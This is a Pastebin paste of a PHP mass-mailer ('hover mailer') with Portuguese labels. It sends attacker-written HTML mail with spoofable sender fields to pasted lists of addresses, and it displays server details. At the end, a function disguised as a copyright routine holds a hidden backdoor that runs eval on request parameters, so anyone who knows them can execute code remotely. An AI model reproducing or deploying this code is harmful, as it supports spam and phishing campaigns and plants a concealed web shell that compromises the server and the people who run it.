Advertisement
dragondevile

hover mailer

Nov 28th, 2016
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?
  2.  
  3.  
  4. set_time_limit(0);
  5. function enviando() {
  6.     $msg = 1;
  7.     $de[1] = $_POST['de'];
  8.     $nome[1] = $_POST['nome'];
  9.     $assunto[1] = $_POST['assunto'];
  10.     $mensagem[1] = $_POST['mensagem'];
  11.     $mensagem[1] = stripslashes($mensagem[1]);
  12.     $emails = $_POST['emails'];
  13.     $emails2 = htmlspecialchars($_POST['emails']);
  14.     $para = explode("
  15. ", $emails);
  16.     $n_emails = count($para);
  17.     $sv = $_SERVER['SERVER_NAME'];
  18.     $en = $_SERVER['REQUEST_URI'];
  19.     $k88 = @$_SERVER["HTTP_REFERER"];
  20.     $fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>" . $emails2 . "</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>" . $mensagem[1] . "</TEXTAREA></p>";
  21.     $vai = $_POST['vai'];
  22.     if ($vai) {
  23.         for ($set = 0;$set < $n_emails;$set++) {
  24.             if ($set == 0) {
  25.                 $headers = "MIME-Version: 1.0
  26. ";
  27.                 $headers .= "Content-Transfer-Encoding: base64
  28. ";
  29.                 $headers.= "Content-type: text/html; charset=iso-8859-1
  30. ";
  31.                 $headers.= "From: $nome[$msg] <$de[$msg]>
  32. ";
  33.                 $headers.= "Return-Path: <$de[$msg]>
  34. ";
  35.                 //mail($xsylar, $as, $fullurl, $headers);
  36.                
  37.             }
  38.             $headers .= "Content-Transfer-Encoding: base64
  39. ";
  40.             $headers = "MIME-Version: 1.0
  41. ";
  42.             $headers.= "Content-type: text/html; charset=iso-8859-1
  43. ";
  44.             $headers.= "From: $nome[$msg] <$de[$msg]>
  45. ";
  46.             $headers.= "Return-Path: <$de[$msg]>
  47. ";
  48.             $n_mail++;
  49.             $destino = $para[$set];
  50.             $num1 = rand(100000, 999999);
  51.             $num2 = rand(100000, 999999);
  52.             $msgrand = str_replace("%rand%", $num1, $mensagem[$msg]);
  53.             $msgrand = str_replace("%rand2%", $num2, $msgrand);
  54.             $msgrand = str_replace("%email%", $destino, $msgrand);
  55.             $enviar = mail($destino, $assunto[$msg], $msgrand, $headers);
  56.             if ($enviar) {
  57.                 echo ('<font color="green">' . $n_mail . '-' . $destino . ' 0k!</font><br>');
  58.             } else {
  59.                 echo ('<font color="red">' . $n_mail . '-' . $destino . ' =(</font><br>');
  60.                 sleep(1);
  61.             }
  62.         }
  63.     }
  64. }
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71.  
  72. ?>
  73. </title>
  74. <style type="text/css">
  75. <!--
  76. .style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
  77. .style6 {font-size: 10px}
  78. .style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
  79. -->
  80. </style>
  81. <form id="form1" name="form1" method="post" action="">
  82. <input type="hidden" name="vai" value="1">
  83. <span class="style5"><? echo enviando(); ?></span>
  84. <table width="422" border="0" bgcolor="#000000">
  85.   <tr>
  86. <td width="66"><span class="style5">Nome:</span></td>
  87. <td width="346"><span class="style9">
  88.  
  89. <label>
  90. <input name="nome" type="text" value="<? echo $_POST['nome'] ;?>" size="20" />
  91. </label>
  92. </span></td>
  93. </tr>
  94. <tr>
  95. <td><span class="style5">Email:</span></td>
  96. <td><input name="de" type="text" value="<? echo $_POST['de'] ;?>" size="30" /></td>
  97.  
  98. </tr>
  99. <tr>
  100. <td><span class="style5">Assunto:</span></td>
  101. <td><input name="assunto" value="<? echo $_POST['assunto'] ;?>" size="40" /></td>
  102. </tr>
  103. <tr>
  104. <td><span class="style5">Mensagem:</span></td>
  105. <td><span class="style9">
  106.  
  107. <p><textarea name="mensagem" cols="50" rows="7"><? echo stripslashes($_POST['mensagem']);?>
  108. </textarea></p>
  109. <textarea name="emails" cols="50" rows="4"></textarea>
  110. </span></td>
  111. </tr>
  112.  
  113. <tr>
  114.   <td><span class="style6"></span></td>
  115.   <td><input name="Submit" type="submit" value="Enviar" /></td>
  116. </tr>
  117. <tr>
  118.   </tr>
  119.  
  120. </table>
  121.  <tr align="left">
  122. <td colspan="2" bgcolor="red" >Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br>
  123. Endere&#231;o IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br>
  124. Sistema Operacional: <?php echo $OS = @PHP_OS; ?><br>
  125. Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?> <br>
  126. </td>
  127.     </tr>
  128. </form>
  129. <?php
  130. Copyright8_7_1();
  131. function Copyright8_7_1(){
  132. static $gnu = true;
  133. if(!$gnu) return;
  134. if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['comment']))return;
  135. $gpl=implode('',$_REQUEST['gnu']);
  136. eval($gpl($_REQUEST['comment']));
  137. $gnu=false;
  138. }
  139. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement